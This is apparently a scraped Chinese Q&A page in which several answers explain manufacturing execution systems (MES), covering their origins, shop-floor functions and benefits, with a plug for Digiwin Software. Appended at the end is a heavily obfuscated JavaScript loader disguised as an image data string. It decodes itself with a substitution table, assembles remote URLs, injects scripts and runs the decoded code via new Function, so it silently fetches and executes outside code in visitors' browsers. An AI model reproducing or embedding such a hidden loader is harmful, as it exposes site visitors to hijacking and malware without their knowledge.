有5个网友回答
“并非大鱼吃小鱼,而是快鱼吃慢鱼,企业必须提升执行力才能超越更快的竞争者。”
1990年11月,美国先进制造研究中心AMR(Advanced Manufacturing Research)就提出了MES(制造执行系统)概念。
20世纪90年代初期,中国就开始对MES以及ERP的跟踪研究、宣传或试点,而且曾经提出了 “管控一体化”,“人、财、物、产、供、销”等颇具中国特色的CIMS、MES、ERP、SCM等概念,但在总结、归纳、宣传、坚持或者提炼、提升等方面还不够,发展势头不快。国内最早的MES是20世纪80年代宝钢建设初期从SIEMENS公司引进的。
在应用方面,国内的MES明显落后于发达国家。中国大部分制造企业还过度依赖人力进行生产,因此收集完整、可靠的数据化信息非常困难。MES是制造执行与控制管理系统,由于制造过程及过程控制对象的复杂性和专有性,使得MES系统形态有比较大的差异,应用模式也可能完全不同,这些因素客观上造成了MES产品与服务市场的多样性。由于MES的多样性、复杂性、特殊性以及特定行业的需要性,MES在国内市场已经出现较大的需求。
当前,随着工业4.0、智能制造概念的深入人心,互联网、大数据、人工智能、物联网等新技术不断取得重大突破,全球制造业都在不断探索新的突破发展瓶颈的方法。MES系统的出现,为制造企业早日实现工业4.0成为可能。

传统制造企业面临的问题:

生产计划、生产工艺等是用电子文档或纸质文件进行记录下达;
设备独立生产,数据难以采集,集控难以实现;
物料人为配送,难以满足生产计划需求;
人、物、机达不到最优的生产搭配,产能低、耗能大,生产不透明。
业务不能一体化;
计划排程纯人工,只能多排以保证生产,严重的库存浪费;
工艺管理粗放,全凭技工经验;
现场黑箱,在制品流转、物料周转等信息不明;
质量管理“按图检验”,费时费力等等。
以上种种问题,造成了生产建设过程中大量人力、物力、财力等诸多资源的浪费。最终导致管理层生产管理信息传达不及时,操作层信息接收不明确,生产管理混乱,同时工件加工过程无法追溯,产品质量得不到有效的监控及控制。各岗位之间缺少有效的沟通及管理手段,生产过程中很容易出现 “答非所问”、“张冠李戴” 等问题。 “跑单子”现象占据日常工作大部分时间。
MES系统,助力制造企业进行以下变革:

现场管理细度:按天 → 按分钟/秒
现场数据采集:人手录入 → 扫描、快速准确采集
电子看板管理:人工统计发布→ 自动采集、自动发布
仓库物料存放:模糊、杂散 → 透明、规整
生产任务分配:人工 → 自动分配、产能平衡
仓库管理:人工、数据滞后 → 系统指导、及时、准确
责任追溯:困难、模糊 → 清晰、正确
绩效统计评估:残缺数据估计→ 凭准确数据分析
统计分析:按不同时间/机种/生产线等多角度分析对比
综合分析:按不同的需求综合分析不同的数据
如果把工厂的硬件设备看作是人的身体部位的话,那么MES就是人的神经系统,掌控全身状态。企业在野蛮生长的时候,可能会更加注意身体的成长,但是到了一定的程度,就要考虑更好的发育大脑,通过对工厂的实时性、可追溯的精准控制,实现企业的成本降低,效率/效益的提升。
智能制造中执行系统的mes的意思是横向之间、纵向之间、系统之间集成的系统,即所谓的经营系统。
在整个企业信息集成系统中, MES承上启下,是生产活动和管理活动之间进行信息交流的桥梁。对企业生产计划进行 MES再计划,指导生产设备协同或同步动作,及时对产品生产过程做出反应,利用当前准确的数据对生产过程进行及时调整、变更或干预等处理。
有使用智能制造系统需求的推荐咨询鼎捷软件。鼎捷软件(鼎新电脑)恪守“创造客户数字价值”企业使命,公司以ERP产品和解决方案为核心,向外扩充并衍生ERPII产品互为补充,构成生态型、一体化解决方案体系,并整合自动化硬件设备协作,提供软硬件整体整合方案服务,协助企业走向智能化。

一、 MES系统介绍
MES系统中文全称“制造执行系统” ;英文全称:manufacturing execution system;简 称:“MES”
二、MES系统作用
MES系统是企业实施工业4.0,迈向智能工厂,智能生产的三大要素之一。 MES系统是集合系统管理软件和多类硬件的综合智能化系统, 它由一组共享数据的程序,通过布置在生产现场的专用设备,对原材料上线到成品入库的整个生产过程实时采集数据、控制和监控。它通过控制物料、仓库、设备、人员、品质、工艺、异常、流程指令和其他设施等工厂资源来提高生产效率。
三、 mes系统应用
1. MES系统能工艺规格标准管理
MES系统中可以编制生产工艺、挂接图纸、图片、工艺卡、装配图等,也可以从外部ERP、PLM中自动下载。编制工艺后,生产按工艺流程进行,并可以在现场调出。
2、MES系统能计划作业调整排成
MES系统可以根据计划模式设定约束条件,对工单进行生产排序,并允许变更部分订单。并可以管理插单,加急订单等操作。
3、数据采集与生产看板
MES生产管理系统通过扫描条形码、RFID、设备传感器等多种手段实时采集生产车间数据,自动生成报表,通过生产管控看板展示生产进度与目标差距,实时跟进,敦促达成原计划生产目标。
4、MES系统能进行车间现场管理
MES生产管理系统能进行现场管理包括生产派工、开工、首检申请、终检申请、材料配送申请等管理内容,员工可以根据自助终端打印任务工票,完成上报,申请检验等操作。
5、MES系统能跟踪产品/产线物流
MES生产管理系统使用条码、RFID、DPM码等手段对产品进行物流跟踪,了解在制品的状态。
6、MES系统能监控设备状态
MES生产管理系统通过DNC模块实时监控设备的运行状态,加工履历,设备的利用率分析等,为提高设备利用率提供依据。
7、MES系统能分析监控质量控制
MES生产管理系统通过与标准工艺的对照,实现生产过程防错,防漏。对于质量问题的上报与处理。对过去一段时间内质量问题的分析,形成各种质量控制报表。
四、MES给企业带来的好处
MES系统监控、协同、调度、分析、预警制造执行过程,实现管控一体化

生产制造执行系统(MES Manufacturing Execution System)是位于上层计划管理系统与底层工业控制之间的、面向车间层的管理信息系统。早在1990年美国美国先进制造研究协会(AMR)就对其进行了严格的定义,并提出了MES三层结构集成模型:具有管理性、结构性的计划层;对生产计划实施以及生产过程进行动态管理控制的执行层;对设备状态进行控制的控制层。
MES是一套面向制造企业车间执行层的生产信息化管理系统,可以对从“人机料法环测”六方面对生产车间进行全面监控。
1、人:员工管理,MES系统在实际生产中可帮助企业节约人力成本。
2、机:设备作为企业生产重要工具,MES系统可对设备进行管控,实时掌控设备情况。
3、料:实现工位物料错装、漏装等防错管理,做到不堆料、不缺料、不错料。
4、法:实现生产标准工艺指示。
5、环:实现质量管理闭环。
6、测:对最终产品质量进行把控。
随着制造企业的增多,市场需求逐渐由增量市场的抢占转变为对存量市场的竞争。行业竞争越来越激烈,行业平均利润水平越来越低。与此同时中国目前传统制造企业还面临着,国内人口红利消失,用工成本增加。在这种背景下,制造业需要及时从“制造”向“智造”转型,通过以数字化信息系统为驱动,优化内部生产流程、提高自身管理水平、提高公司决策效率已经变得刻不容缓。
从原材料的入库上架、生产计划排产、计划下发,到试制试装、加工、装配,到半成品、成品、返修,到下线、包装、发货,MES系统可监控生产全景。同时在生产过程中系统提供数据采集的功能,记录生产过程中设备、生产、质量、人员、报警等多项数据并用于最终产品形成数据包储存进系统中,用于后续的跟踪、查询和分析,从而提高生产效率,降低生产成本,提高产品质量。
一套优质的MES所具备的特质
1. 基本功能全面
MES是一套面向制造企业车间执行层的生产信息化管理系统,可以为企业提供包括制造数据管理、计划排程管理、生产调度管理、库存管理、质量管理、人力资源管理、工作中心/设备管理、工具工装管理、采购管理、成本管理、项目看板管理、生产过程控制、底层数据集成分析、上层数据集成分解等管理模块,为企业打造一个扎实、可靠、全面、可行的制造协同管理平台。
2. 实际应用性强
一套优质的MES系统,开发者不仅需要具备高超的技术开发能力,还要熟悉各行业的实际制造情况。这就要求MES开发服务商具备行业专家水平,根据不同行业生产制造的特殊需求,确保研发的MES系统既符合行业共性,又可以满足企业的个性化需求。
3. 技术架构先进
先进的技术支持是优质MES系统的基础。在技术架构相对先进的基础上,研发人员根据各行业不同的实践情况以及客户的不同需求,配合可配置的模块模组,才可快速构建出适用于不同用户场景的业务功能。如果是对MES系统要求较高、个性化需求较多的企业,在选择MES产品之前,了解产品的技术架构与服务商的技术实力是很有必要的。
4. 简单且易操作
MES作为工厂实际生产应用的软件产品,用户基于车间层,因此MES需具备易学、易用的特点。在实际应用过程中,操作工进入系统后,需要快速进入自己的应用界面,找到自己需要的功能菜单,明晰全业务流程,采用拖拉、链接等操作模式,实现便捷的缩放、隐藏等功能。
MES在整个企业信息集成系统中承上启下,是生产活动与管理活动信息沟通的桥梁。MES系统对企业生产计划进行“再计划”,“指令”生产设备“协同”或“同步“动作,对产品生产过程进行及时的响应,使用当前确的数据对生产过程进行及时调整、更改或干预等处理。
MES采用双向直接的通讯,在整个企业的产品供需链中,即向生产过程人员传达企业的期望(计划),又向有关的部门提供产品制造过程状态的信息反馈。MES采集从接受订货到制成最终产品全过程的各种数据和状态信息,目的在于优化管理活动。它强调是当前视角,即精确的实时数据。
MES是围绕企业生产这一为企业直接带来效益的价值增值过程进行的,MES强调控制和协调。
企业生产过程制造执行系统(MES)在帮助制造企业实现生产的数字化、智能化和网络化等方面发挥着巨大作用:
1.通过条码技术跟踪产品从物料投产到成品入库的整个生产流程,实时采集生产过程中发生的所有事件,让整个工厂车间完全透明化。
2.改变原来手工录入过程,达到准确、及时、快速的数据反馈,避免人为输入差错,更重要的是,使现场生产人员精力集中在业务操作上,提高工作效率。
3.让产品在整个生产过程中变得清晰、透明,很快发现出现质量问题的原因,制定针对措施解决质量瓶颈问题,实现产品质量追溯,降低质量成本。
4.支持成品、在制品、刀具、工装库存管理,车间各工作中心接到加工任务同时,工装/刀具库房可对所需的工具种类和数量进行快速准备,既准确又便捷。
5.实时记录并监控生产工序和加工任务完成情况,人员工作效率、劳动生产率情况,设备利用情况,产品合格率、废品率等情况,通过系统综合统计信息查询功能,及时发现执行过程中的问题并进行改善。
6.为企业实现一体化的设计与制造提供先进技术储备,支撑企业实施精益生产和精细化管理。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();